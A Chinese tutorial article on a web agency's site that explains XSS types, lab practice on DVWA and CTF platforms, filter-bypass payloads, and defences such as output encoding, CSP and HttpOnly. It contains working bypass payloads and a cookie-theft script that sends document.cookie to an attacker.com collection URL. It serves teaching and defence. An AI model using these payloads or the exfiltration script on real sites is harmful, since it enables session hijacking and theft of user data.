尧图网络科技YAOTU DIGITAL 获取报价
获取报价
首页 / 资讯中心 / 文章详情

XSS跨站脚本攻击原理详解:类型、实战绕过与防御策略

发布时间:2026/9/26 2:12:44

资讯中心
01
ARTICLE

XSS跨站脚本攻击原理详解:类型、实战绕过与防御策略

XSS跨站脚本攻击原理详解:类型、实战绕过与防御策略
1. XSS到底是什么——先从根上理解跨站脚本攻击1.1 一句话讲透XSS的本质与危害XSS全称Cross-Site Scripting跨站脚本攻击。我接触过很多刚入门的安全爱好者第一次看到这三个字母都会有同一个疑惑跨站脚本跟“脚本”有什么关系其实它的核心就是攻击者把恶意脚本注入到网页中让浏览器在用户访问时执行。举个例子你打开一个搜索页面搜索框里输入“hello”页面显示“您搜索的关键词是hello”。如果这里没有做任何过滤那攻击者输入的不是“hello”而是一段“scriptalert(1)/script”页面就会原样输出这段代码浏览器真的会把它当成脚本执行——弹出一个警告框。到这里你可能觉得“弹个窗而已有什么大不了的”但真实场景里没人会无聊到只弹个窗。攻击者可以把脚本换成“窃取Cookie并发送到指定服务器”“伪造登录表单骗取密码”“记录键盘输入”甚至是“利用浏览器漏洞植入挖矿程序”。XSS的本质是打破了浏览器“同源策略”的信任边界让恶意代码在合法页面的上下文中运行这在浏览器安全模型里是非常核心的突破。它的危害级别可以用一个比喻来理解如果SQL注入是撬开了数据库的大门那XSS就是拿到了用户浏览器的遥控器。一个存储型XSS可以让所有访问某个页面的用户都中招杀伤范围相当可观。OWASP多年来的Top 10榜单中XSS几乎从未掉出过前列这就是它值得系统学习的原因。1.2 为什么浏览器会“听话”执行恶意脚本要真正理解XSS你得先理解浏览器的工作方式。浏览器加载一个网页时会解析HTML、CSS和JavaScript。默认情况下页面里的script标签会被当成脚本执行这就是HTML的“可执行”特性。你可以把网页当成一张“白纸”浏览器把它打印出来显示给你看但这个“打印”过程中白纸上的“指令”是可以被“执行”的而不仅仅是“显示”的。正常的网页开发者会区分“代码”和“数据”用户在输入框里输入的内容属于“数据”页面应该把它当作文本展示而不是当成代码执行。但很多开发者没有做这个区分直接把用户的输入拼进了HTML中于是数据就“越权”变成了代码。XSS的产生根源很简单不可信数据被拼入不可信位置且未经过安全处理。让人头疼的是浏览器本身并没有过错它在忠实执行HTML规范。真正的问题出在开发者没有对输入做过滤、对输出做编码。你只需要记住这条铁律一切用户可控的输入都不可信所有输出到HTML上下文的内容都必须转义。1.3 生活化类比信封上的邮票我讲课的时候喜欢用一个类比XSS就像你收到一封快递打开盒子后里面有一张写着“请把家里的备用钥匙放到门口脚垫下”的纸条而你以为这是快递公司官方给你的提示。你为什么会信因为快递盒上的寄件人地址写着“官方客服”包裹看起来包装正规于是你照做了——你把钥匙白白送给了攻击者。对应到技术上包裹是网页“官方客服”的寄件人地址是网站的合法域名纸条内容是攻击者注入的脚本你的“照做”就是浏览器自动执行了脚本。浏览器信任了页面页面又原样输出了恶意代码于是信任链断裂受害的是用户。这个类比能帮你理解为什么XSS在所有浏览器、所有平台下都可能发生——因为它攻击的是“信任关系”而不是特定软件的具体漏洞。2. 三大流派反射型、存储型、DOM型2.1 反射型XSS——一次性的“回弹”反射型XSS是最基础、最直观的类型很多靶场第一个题目就是它。它的特点可以概括为四个字即时回显。用户把带恶意代码的URL发给受害者受害者点击后请求被发送到服务器服务器把恶意代码“反射”到响应页面中浏览器执行脚本整个过程只有这一次。这里有一个非常重要的区分点恶意代码不出现在服务器存储中只出现在URL和响应中。所以攻击者必须诱导受害者点击精心构造的链接。常见的传播手法是短链接伪装、聊天工具发送、论坛帖子插入链接等。实操层面反射型XSS的测试思路通常是先找一个带有参数的回显点比如搜索框、错误提示页、参数值展示页然后输入一个独特的标记字符串比如zztest123观察回显位置接着构造payload验证是否存在执行点。不要小看反射型觉得它要靠用户“上钩”就觉得危害低。在企业内网钓鱼场景中反射型XSS配合一个精心伪造的“系统错误页面”链接往往能骗到很高比例的员工点击。而且如果反射点在一个https的合法域名下受害者对链接的信任度会大幅提升。2.2 存储型XSS——持久化的“潜伏”存储型XSS也叫持久型XSS是危害最大的一种类型。它的恶意脚本被服务器持久化存储——通常存在数据库、文件系统或内存缓存中——之后任何用户访问受害页面都会触发脚本执行。打个比方反射型XSS像在公共场所喊一句话骗一个人存储型XSS像在楼道公告栏贴一张假通知每个经过的人都会看到并按通知办事。正常业务中的典型存储点包括论坛帖子内容、用户昵称、个人签名、评论回复、富文本编辑器内容、甚至文件上传后的文件名。我在实战中见过一个印象深刻的案例某系统的文件上传功能允许用户自定义文件名开发者对文件名只做了简单的扩展名校验却没有对文件名里的HTML标签做过滤。攻击者上传了一个名为img srcx onerroralert(document.cookie).jpg的文件系统把文件名展示在页面管理列表中时所有管理员只要打开列表页就中招。这就是典型的存储型XSS——你以为你只传了个文件实际上你传了一个“定时炸弹”管理员每次打开页面都会被炸一次。存储型XSS测试时要特别注意“二次触发”的场景也就是数据入库后在不同页面、不同模块中被展示的情况。一个输入点可能在A页面存储却在你完全没想到的B页面比如后台管理列表、Excel导出、日志查询页面输出这类“存储-输出分离”的盲点往往是安全测试中最容易遗漏的地方。2.3 DOM型XSS——纯前端的“暗流”DOM型XSS和前面两类有个本质区别它根本不经过服务器或者说不依赖服务器响应中的内容。恶意脚本的注入和触发完全发生在浏览器端的DOM操作过程中。我们都知道JavaScript可以动态修改页面内容比如document.getElementById(result).innerHTML location.search。这里的location.search是URL中的参数完全由用户控制。如果URL里有个?namescriptalert(1)/script那么这个脚本会被innerHTML直接打入页面DOM并执行。整个过程服务器没有参与输出所以服务器端WAF和常规的输入过滤都拦截不到它这也是它最难防御的地方。DOM型XSS有个典型的隐蔽场景单页应用SPA中前端路由会根据URL中的hash或参数动态渲染内容。开发者经常用innerHTML、document.write、eval这类危险API直接操作数据导致攻击面巨大。我之前审计过一个React项目开发者为了方便直接用了dangerouslySetInnerHTML渲染后端返回的富文本内容而且没有做任何净化这是一个非常危险的信号。判断一个XSS是反射型还是DOM型有个实用技巧直接用浏览器的开发者工具观察网络请求的响应体。如果响应体里能看到你的payload那是反射型如果响应体里没有payload但页面还是执行了脚本那大概率是DOM型。2.4 三型对比表一张表理清区别维度反射型XSS存储型XSSDOM型XSS注入位置URL参数、请求头数据库、文件系统URL参数、localStorage等前端数据源是否经过服务器是服务器回显是服务器存储否纯前端DOM操作触发条件诱导用户点击特定链接任何用户访问受害页面用户访问特定URL或在页面内操作危害周期一次性持续性、长期每次触发可能不同隐蔽性强典型场景搜索框回显评论区、用户昵称SPA路由、前端渲染模板检测难度低中高这张表建议你保存在本地做测试的时候随时对照。实际工作中经常遇到“复合型”漏洞比如一个存储点用DOM方式渲染那就同时具备存储型的持久性和DOM型的隐蔽性测试时需要更全面的思路。3. 环境搭建在本地靶场合法演练3.1 DVWA靶场搭建与分级说明学XSS最忌讳一上来就拿公网站点练手那是违法行为。你要做的第一件事是把靶场搬到自己电脑上。DVWADamn Vulnerable Web Application是最经典的开源靶场专门为安全学习设计内置了SQL注入、XSS、文件上传等常见漏洞环境而且每个漏洞都分了Low、Medium、High、Impossible四个安全级别刚好用来理解“同样的功能在不同防护强度下的表现”。搭建DVWA有两种常见方式我分别说一下。第一种是Docker方式命令非常简洁docker run -d -p 80:80 vulnerables/web-dvwa启动后浏览器访问http://localhost即可默认账号密码通常是admin/password进去后点Create/Reset Database初始化数据库。第二种方式是传统的PHP环境适合想自己动手配置的初学者。你需要准备一个PHP集成环境比如phpStudy或XAMPP把DVWA源码放到Web根目录修改config/config.inc.php.dist为config.inc.php填入数据库账号密码然后访问安装页面完成初始化。DVWA的四个安全级别设计很有深意Low级别直接展示漏洞、完全无防护Medium级别有简单的字符串替换比如把script替换成空字符串但只过滤一次High级别则强制使用更严格的过滤规则Impossible级别安全编码基本不可利用。我的建议是从Low开始彻底搞懂原理再逐级升级看攻击代码如何失效、攻击者如何绕过。这个过程能帮你建立“攻防对抗”的思维方式比单纯在一堆漏洞里打转有用得多。3.2 Pikachu与PortSwigger靶场的补充价值DVWA适合入门但如果只练DVWA你会产生一种错觉——漏洞都长一个固定样子。真实世界的XSS形态千变万化所以还需要补充两个靶场。Pikachu是国内安全从业者都比较熟悉的练习平台覆盖了更细粒度的漏洞类型。它的XSS模块划分得非常细致除了三种基本类型还专门设计了“XSS之盲打”“XSS之过滤绕过”等进阶场景。盲打Blind XSS的意思是你提交的payload不会在当前页面回显而是在后台管理页面或者另一个用户那里被触发这非常接近真实渗透场景——你投了一个毒不知道哪个页面会中招只能等待。PortSwigger的Web Security Academy是另一个我的强烈推荐它的XSS实验室Lab质量很高每个实验都模拟了真实环境中遇到的具体场景。比如“带不同上下文的反射型XSS”这个实验把payload注入点分别放在HTML标签之间、标签属性值内部、JavaScript字符串内部等位置每个位置需要的绕过手法完全不同做完之后你对“输出上下文”这个概念会有非常直观的理解。而且它自带checker做对了会显示success不用自己纠结到底有没有绕过去学习效率很高。4. 零基础实操从DVWA到CTF靶场的完整通关4.1 DVWA反射型XSS完整实操Low到High逐级拆解先说Low级别DVWA的反射型XSS关卡就是一个典型的搜索框。页面让你输入一个名字然后回显“Hello {你的输入}”。看一下后端源码核心逻辑极其直白?php header (X-XSS-Protection: 0); if( array_key_exists( name, $_GET ) $_GET[name] ! NULL ) { echo Hello . $_GET[name]; } ?没有任何过滤输入直接拼接到HTML中。所以只要输入scriptalert(1)/script页面就会弹出alert框这说明反射型XSS存在。你可以进一步试试scriptdocument.cookie/script看看能否在开发者工具里拿到当前页面的Cookie值。到了Medium级别后端加了一段过滤代码$name str_replace( script, , $_GET[name] );它把所有script字符串替换成空但注意它只替换了一次。绕过方案很简单输入scrscriptiptalert(1)/script因为过滤把中间的script删掉后剩下的字符串拼接变成了scriptalert(1)/script完美绕过。这种“一次过滤”的缺陷在真实系统里并不罕见所以在测试时永远要多想一步开发者的过滤是否只做了一遍High级别的防护更强了它用了正则匹配$name preg_replace( /(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i, , $_GET[name] );这个正则匹配所有包含script字样不管中间插入什么字符的内容并删除普通script标签彻底失效。这时候就不能硬刚script标签了要换个思路用图片标签的onerror事件来执行JavaScriptimg srcx onerroralert(1)只要图片加载失败就会触发onerror事件。这个触发的条件也太容易满足了一个不存在的x图片地址必然加载失败。到了High级别重点考察的是你对HTML事件属性的了解程度onerror、onload、onclick、onmouseover这些都是XSS payload里常用的触发点。4.2 存储型XSS的实操从留言板到Cookie窃取DVWA的存储型XSS关卡是一个留言板Low级别的后端代码同样没有任何过滤留言内容和用户名都直接存入数据库并展示在页面上。我们提交一条留言scriptalert(document.cookie)/script之后你会发现不只是你自己任何打开留言板页面的人都会弹出包含其Cookie的警告框。这演示了存储型XSS的威力攻击者只需要提交一次payload所有访客都会中招。Medium级别的过滤跟反射型一样把script替换为空所以上面的payload会被过滤掉。但存储型XSS有一个特点——它是先存入数据库、再在页面输出。我们可以在提交时用HTML标签拆分的方式绕过例如使用带大小写混淆和事件属性的payloadIMG SRCx ONERRORalert(1)它不需要script关键字用元素属性触发这绕过了基于字符串匹配的过滤。到了实际渗透测试中存储型XSS最常见的利用方式就是窃取管理员Cookie。思路是攻击者搭建一个收集服务器构造payload让受害者的浏览器发送一个请求到收集服务器请求中携带Cookie值。这里有个必须说的前提如果Cookie设置了HttpOnly属性JavaScript就读取不到Cookie值这个利用方式就会失效。所以能看到Cookie不代表能偷Cookie防御方设置HttpOnly是一道非常重要的防线。我强烈建议你把DVWA存储型XSS的四个级别全部打通因为这个关卡的攻防演化过程非常典型涵盖了字符串过滤绕过、大小写混淆、事件属性利用、HttpOnly防护等多个核心知识点。4.3 CTFshow与CTFhub的典型题目XSS题目实战如果你打算走CTF方向CTFshow和CTFhub的XSS题目是很好的练习题。这些题目跟DVWA不一样它们去掉了很多“教学”的冗余环节直接模拟真实场景中的漏洞点。CTFhub的反射型XSS题目设计思路通常是给你一个带参数的URL参数值回显在页面中但会过滤掉一部分字符。我遇到过的典型过滤是只过滤了script或只拦截了尖括号。只过滤script时可以用事件属性绕过拦截尖括号时就要看回显位置了——如果回显在JavaScript字符串中可以尝试闭合字符串再注入代码这属于上下文相关的利用手法。CTFshow的XSS关卡则更有意思有些题目需要你把flag“偷”回来。怎么偷大致思路是题目会有一个bot访问你提交的URLbot的会话中含有真正的flag。你需要提交一个构造好的XSS payload URL让bot在访问时执行你的脚本脚本把页面内容或Cookie发送到你指定的接收端你再从中提取flag。这类题目本质上是“XSS盲打”的实战演练非常锻炼你构造payload和搭建接收端的能力。做CTF XSS题目有个通用方法论首先判断注入点和输出位置然后确认过滤规则最后针对性构造payload。熟练之后你会发现90%的题目核心就考两件事——你是否理解浏览器解析HTML的上下文差异以及你是否积累了足够多的绕过技巧。5. 绕过技巧与Payload思路——从“能弹窗”到“能利用”5.1 常见过滤机制与基础绕过当XSS题目和真实系统的防护逐步增强后测试就变成了一场“绕过与反绕过”的博弈。我整理了最常见的几种过滤机制和对应的绕过思路。第一种是关键字过滤最常见的是过滤script、alert、onerror等字符串。绕过思路有三条大小写混淆sCrIpT、字符串拼接scrscriptipt、关键字拆分写在HTML实体里。防御方如果只做了简单的str_replace很容易被这些方式击破。第二种是黑名单过滤把已知的危险标签和关键字全部过滤掉。这时候可以绕过黑名单的思路是寻找“白名单之外”的执行方式。比如svg标签、math标签、details标签都可以配合事件属性触发JavaScript不一定非得用script标签。还有CSS的expression老版本IE、iframe的srcdoc属性等这些都是黑名单容易漏掉的地方。第三种是编码绕过。当页面对输入做了HTML实体编码或URL解码后攻击者可以尝试双重编码。比如服务端先做一次URL解码再做HTML实体解码你就构造%253Cscript%253E这种双重编码的payload看哪一层解码后能够再次触发。这里的关键是理解服务器和浏览器的解码顺序。做个简单整理过滤方式绕过思路示例关键字黑名单大小写混淆、嵌套拼接、换行符插入sCrIpT、scrscriptipt尖括号过滤依赖内联事件、伪协议、利用上下文闭合 onfocusalert(1) autofocus标签白名单找白名单外可执行标签svg、details、math字符串长度限制用短payload、外部引入jsscript src//x编码过滤双重编码、Unicode混淆%253Cscript%253E5.2 编码绕过与事件属性利用真实环境里的XSS利用很少直接写一个完整的script标签就完事。更多的时候你需要把攻击代码“藏”在合法页面结构里让它看起来像正常代码。举个例子如果注入点在一个a标签的href属性里你可以尝试a hrefjavascript:alert(1)点我/ajavascript:伪协议可以在不创建script标签的情况下执行JavaScript这在很多过滤场景下非常实用。如果前端过滤了javascript关键字可以用HTML实体编码绕过a href#106;avascript:alert(1)点我/a浏览器解析HTML时会先把实体解码再执行链接跳转于是#106;被还原成字母j过滤检查的是原始输入里的文本自然就失效了。事件属性是另一个非常关键的利用面。几乎任何HTML元素都有一堆事件属性它们接受JavaScript代码作为值。攻击中常用的事件属性包括onerror元素加载失败时触发配合img srcx非常稳定onload元素加载完成后触发可以放在body、iframe上onfocus元素获得焦点时触发配合autofocus属性可以做到无需用户交互onmouseover鼠标悬停时触发需要用户交互但社工场景中很有效onclick点击时触发常见于伪造的诱导页面我遇到过一种情况服务端把双引号过滤了但单引号没有过滤。于是payload可以用单引号包裹属性值或事件代码img srcx onerroralert(1)如果单引号双引号都被过滤了那还有一个邪门技巧——利用反引号JavaScript中反引号可以作为字符串边界而HTML属性可以用反引号分割img srcx onerroralert(1)这些细节如果不自己在靶场里反复试验很难形成肌肉记忆但恰恰是它们在实战里救了你。5.3 从弹窗到窃取Cookie完整攻击链演示很多初学者学会弹alert(1)之后就觉得自己会XSS了这个认知要尽快纠正。弹窗只是证明了漏洞存在真正的XSS攻击是从“拿到数据”开始的。一个完整的Cookie窃取攻击链是这样的攻击者准备一台收集服务器服务器上放一个接收脚本比如collect.php。然后构造XSS payloadscript var img new Image(); img.src http://attacker.com/collect.php?cookie document.cookie; /script当受害者浏览器执行这段脚本时会向攻击者的服务器发送一个请求Cookie作为参数拼在URL后面。攻击者查看服务器日志就能拿到受害者的会话标识。有了这个标识攻击者可以把Cookie重放到受害者的登录会话中直接冒充受害者操作账户——这就是经典的会话劫持。当然现实中这个链路会遇到很多阻碍HttpOnly会挡住document.cookie的读取同源策略会限制跨域请求但img标签可以绕过这个限制发送GET请求CSP内容安全策略可能直接拒绝加载外部域名资源现代浏览器也加强了Cookie的SameSite属性。所以高水平的XSS利用会配合BeEF这样的框架将受害者浏览器“绑定”起来执行键盘记录、钓鱼弹窗、内网扫描等更多操作。在这里必须郑重提醒**这些技术只允许在法律授权的范围自己搭建的靶场、CTF平台或安全测试授权书明确约定的系统内使用。**未经授权对他人系统做任何形式的攻击测试是违法行为这个边界务必守住。5.4 蓝莲花XSS平台与BeEF的使用思路如果你参加过国内的一些CTF比赛或看安全技术文章应该见过“蓝莲花XSS平台”这个名字。它是一个开源项目典型的XSS攻击演示和利用管理平台。使用思路是你在平台上创建一个项目平台会生成一个专属的payload地址你把payload拼到目标XSS漏洞中受害者触发后浏览器会向平台发送一个“上线”请求你在平台后台就能看到受害者的Cookie、User-Agent、当前页面URL等信息。整个流程把“XSS盲打”场景变得非常直观。BeEFBrowser Exploitation Framework则是另一个层次的工具它的定位是“浏览器渗透框架”。当你的XSS payload把受害者的浏览器“绑”到BeEF上之后你可以在BeEF控制台执行各种模块窃取表单数据、强制弹窗钓鱼、枚举内网IP、甚至通过浏览器漏洞尝试进一步控制主机。这两个工具我的建议是在你把手工流程跑通之后再使用。因为工具只是把底层的请求和代码封装成界面如果你不理解原理出了问题完全不知道怎么排查。手工能做通了再用工具是为了提效不是为了偷懒。6. 检测与防御企业级XSS治理方案6.1 自动化扫描与手工验证两种手段缺一不可很多企业安全团队会采购或自建漏洞扫描器来发现XSS问题。市面上的扫描器各有品牌但它们的核心逻辑都差不多爬取页面、识别参数输入点、生成大量payload、观察响应中是否有payload回显。优点是覆盖面广、速度快但缺点也很明显——扫描器只能发现“已知的、简单的问题”。DOM型XSS因为不经过服务器响应很多扫描器完全检测不到复杂的上下文绕过也需要人工才能验证。我建议的检测流程是先用自动化扫描器做一轮全站“广撒网”把可疑注入点找出来然后对每个疑似点手工验证仔细看回显位置、过滤规则、浏览器实际渲染效果。手工验证的工具主要是浏览器开发者工具和Burp Suite。Burp Suite的Repeater模块用来反复修改和发送请求很方便Proxy模块可以用来观察完整的请求和响应流程。有一个容易被忽略的点扫描器报告“没有漏洞”不代表真的没有漏洞。自动化的payload通常比较模板化遇到特殊过滤就会失效。真正用心做XSS检测的人会花大量时间读前端源码、找DOM操作的危险API、追踪数据流。高水平的XSS发现往往就是靠人工审计源码找到的而不是扫描器扫出来的。6.2 前后端双重过滤与输出编码最基础也最有效XSS防御的黄金法则是八个字输入过滤输出编码。两个环节都要做只做其中一个都不够稳妥。输入过滤是指在数据进入系统时对特殊字符做校验和清理。常用手段包括黑名单过滤过滤恶意标签和关键字、白名单校验只允许字母数字和下划线、参数类型校验数字参数必须真的是数字字符串限制长度。后端框架里很多有现成的过滤器比如Java的ESAPI库、PHP的htmlspecialchars函数、Python的bleach库尽量不要自己重复造轮子。输出编码是指在数据展示到页面时根据输出位置的上下文对特殊字符做转义。这里有一个新手经常搞混的地方**同一个数据输出到HTML标签之间、属性值里、JavaScript代码中、URL链接里需要使用的编码方式都不一样。**比如HTML标签之间的文本内容需要转义 HTML属性值里需要转义引号和JavaScript字符串里需要使用Unicode转义或\x十六进制转义URL上下文里需要URL编码这就是为什么很多防御方案引入了“上下文感知编码”的概念——输出的编码方式必须匹配目标上下文否则就无效。6.3 SpringBoot项目全局XSS过滤器的落地实现企业项目里Java技术栈的SpringBoot非常常见。在SpringBoot中做全局XSS防御一般通过过滤器Filter或拦截器Interceptor统一处理。和这个话题紧密相关的有一种特殊场景当你的系统允许用户上传PDF文件而上传后的PDF在页面中展示时文件名、文件元数据等内容可能成为XSS注入点。需要在全局过滤器中连上传文件的内容或相关信息一并处理。一个典型的分层实现思路是第一层在入口处定义一个XssFilter过滤器拦截所有HTTP请求第二层过滤器将请求体包装成自定义的XssHttpServletRequestWrapper第三层在包装类中重写getParameter、getHeader、getInputStream等方法对流经的数据做清洗或转义核心代码骨架大概长这样Component public class XssFilter implements Filter { Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletRequest req (HttpServletRequest) request; XssHttpServletRequestWrapper xssRequest new XssHttpServletRequestWrapper(req); chain.doFilter(xssRequest, response); } }包装类的关键方法重写public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { Override public String getParameter(String name) { String value super.getParameter(name); return XssCleaner.clean(value); } Override public String getHeader(String name) { String value super.getHeader(name); return XssCleaner.clean(value); } Override public ServletInputStream getInputStream() throws IOException { // 对请求体做处理适用于JSON格式的POST请求 String body IOUtils.toString(super.getInputStream(), StandardCharsets.UTF_8); String cleanedBody XssCleaner.clean(body); return new ServletInputStream() { // 用清洗后的body构造新的输入流返回 }; } }在实际落地SpringBoot的XSS过滤器时有几个细节非常容易踩坑我这几年复盘过不少次第一GET请求的参数和POST请求的body要分开处理。getParameter只能处理form表单格式的请求参数如果接口用的是JSON格式请求体在getInputStream中必须单独写解析逻辑。第二不能对所有内容一刀切地做转义。有些字段的富文本内容本身就需要b、p等合法HTML标签全转义会导致业务功能受损。稳妥的做法是配合白名单标签过滤工具比如Jsoup的clean方法只保留安全的标签和属性其他全部移除。第三文件上传场景要单独处理。PDF文件本身可以包含JavaScript预览PDF如果使用浏览器的内置embed或iframe机制恶意PDF可能会在浏览器上下文中执行脚本。安全实践是上传的PDF在展示时强制使用Content-Disposition: attachment头用附件方式下载而不是内嵌预览或者使用专门的PDF渲染服务把文件转换成图片再展示从源头避免PDF解析器带来的XSS风险。第四全局过滤器处理完后输出端的编码依然要做。过滤器只能拦截入站的payload但数据在库中可能被调用于不同上下文如果输出端不做上下文编码换一个位置展示时仍然有风险。所以框架层面集成一个全局的输出编码模板比如Thymeleaf的th:utext和th:text要严格区分使用和过滤器形成双层保障。6.4 Content Security PolicyCSP与HttpOnly纵深防御的关键最后一道防线是浏览器的安全策略。CSP是HTTP响应头的一种通过它你可以告诉浏览器“这个页面只允许加载哪些来源的脚本”。一个简单的CSP配置Content-Security-Policy: default-src self; script-src self nonce-随机值配置了CSP之后页面中所有脚本必须来自同源域名或带指定nonce否则浏览器直接拒绝执行。这能非常有效地遏制XSS——即使攻击者成功注入了一个script标签浏览器也会因为CSP限制而不去执行它。HttpOnly则是一个Cookie属性。设置了这个属性的Cookie无法被JavaScript的document.cookie读取只能在HTTP请求头中自动携带。这直接斩断了攻击者通过XSS窃取用户会话Cookie的可能。我个人强烈建议凡是涉及会话管理的CookieJSESSIONID、SESSION等一定要设置HttpOnly属性同时设置Secure和合适的SameSite属性。要明白一个道理没有银弹。CSP挡住外部脚本但挡不住内联事件属性onerrorHttpOnly挡住Cookie窃取但挡不住键盘记录和页面伪造。这也是我反复强调“纵深防御”的原因——每一层防护都不是完美的但叠加起来能显著拉高攻击成本。攻击者攻击一个站点需要好几秒防御者只需要把成本从“几分钟”提升到“几小时”大量低水平攻击就被过滤掉了。7. 实战心得那些文档里不会写的坑7.1 常见问题与排查速查表整理了一份XSS学习和实战中最高频的问题对照表你可以直接收藏参考问题现象可能原因排查思路与解决方法Payload输入后页面原样显示没有执行输出被转义或编码了打开开发者工具看Network响应原文尝试不同大小写、编码、事件属性组合alert()被浏览器拦截不弹窗浏览器自身XSS过滤器如Chrome的XSS Auditor拦截本地靶场设置响应头X-XSS-Protection: 0换用console.log或fetch验证页面能弹窗但提交到平台不上线目标环境无法访问外网域名检查CSP用img方式上报而非脚本请求本地起接收服务测试Cookie读取不到HttpOnly属性限制了JS读取换攻击思路比如表单伪造、键盘记录、页面篡改Payload在Burp里看着改成功了浏览器不执行注入点上下文判断错误分析回显位置是HTML标签内、属性内还是JS代码内按对应上下文构造payload反射型payload闭环了但不弹过滤规则删掉了部分关键字分步测试先提交zzz确认回显点每次只加一个特殊字符观察哪里被过滤DOM型XSS手工难发现扫描器对纯前端逻辑覆盖弱读前端JS源码搜索innerHTML、document.write、eval等危险API用Chrome的Source面板对参数值打点调试7.2 我踩过的几个坑第一个坑是在一开始就扎进高难度payload里结果根本不知道自己在干什么。我见过的初学者包括我自己早期很容易陷入一个状态看到网上流传的payload大全就挨个往靶场里丢弹出来一个就兴高采烈弹不出来就一头雾水。这种“盲试”的方式效率极低因为你没有理解每一步的意图。正确的做法是一个payload丢进去如果没弹先别急着换下一个用开发者工具看DOM树、看控制台报错、看网络请求搞清楚是哪一步断了。会调试的人比会用payload的人强十倍。第二个坑是忽略“输出上下文”。我一直强调XSS能否成功主要看你注入的位置同样的payload放在标签之间能执行放在属性值里可能只算文本放在JavaScript字符串里又需要闭合。我以前给一个新同学讲题他把scriptalert(1)/script放在一个input的value属性里页面当然没弹窗因为属性值里的内容只会被当作纯文本属性值处理。他困惑了很久直到我说“你试试先闭合引号再注入事件属性”他才恍然大悟。理解上下文比死记硬背一百个payload更有用。第三个坑是忽视防护的“绕过前提”。有些朋友学会了绕过过滤的手段之后会觉得“过滤都是废的”这个观点太极端了。真实情况是过滤确实可以被绕过但每次绕过都需要花费时间和精力而且高水平的过滤会大幅提高绕过难度。作为攻击者你需要真实评估目标场景是否值得投入这些成本作为防御者你要做的就是不断提高绕过成本而不是指望某一层防护绝对不可能被突破。攻防双方永远在对抗中互相促进这才是安全从业者的日常。7.3 后续学习路线建议从XSS出发能走多远XSS学到一定深度后你可以把知识迁移到更多领域。我建议有两条线可以并行推进。一条线是从前端漏洞向全栈漏洞扩展。掌握了XSS后你可以继续学习CSRF跨站请求伪造、点击劫持、CORS配置错误、WebSocket安全等。它们都属于“浏览器端攻击”的范畴很多利用链会把XSS和CSRF串联起来先用XSS注入脚本再用脚本发起跨站请求完成未授权操作。理解上一环和下一环如何衔接能极大提升你对Web安全整体架构的理解。另一条线是从漏洞利用向防御体系构建延伸。你学了XSS之后可以尝试站在开发者和安全架构师的角度思考如果我要设计一套Web应用的防御体系SDLC安全开发生命周期怎么嵌入代码审计和自动化检测怎么配合安全编码规范怎么落地这些经验在企业里非常值钱因为现在很多公司的痛点不是“没有安全测试”而是“测试完修了又犯、缺一套持续化的治理机制”。如果你准备走安全测试方向我再说一句实在话XSS是Web安全的最佳入门点但不是终点。它帮你建立了“输入-处理-输出”的审计思维这种思维在SQL注入、命令注入、SSRF、反序列化等漏洞类型中全部通用。把XSS理解透了你学其他漏洞的速度会快得多。最后再分享一个我用得很顺手的效率技巧本地起一个简单的接收服务器用来快速验证XSS payload是否触发网络请求。比如你构造一个scriptfetch(http://localhost:8888/?xdocument.cookie)/script然后在本地8888端口监听一旦有请求进来说明payload执行了。这个小技巧在调试复杂payload时省了我大量时间你也可以试试。
02
RELATED NEWS

相关资讯

更多网站建设与数字化升级内容

03
WHY YAOTU

想打造同款高转化官网?

懂行业、懂生意,从建站到增长一站式陪跑

◈

场景化定制

不做模板站,围绕你的业务场景量身设计,小众不撞款。

◐

营销型架构

以转化目标组织内容与路径,让官网真正带来询盘。

▲

全周期服务

设计、开发、运营、运维一体,上线只是开始。

免费获取你的建站方案

留下需求,专属顾问 24 小时内为你输出方案建议。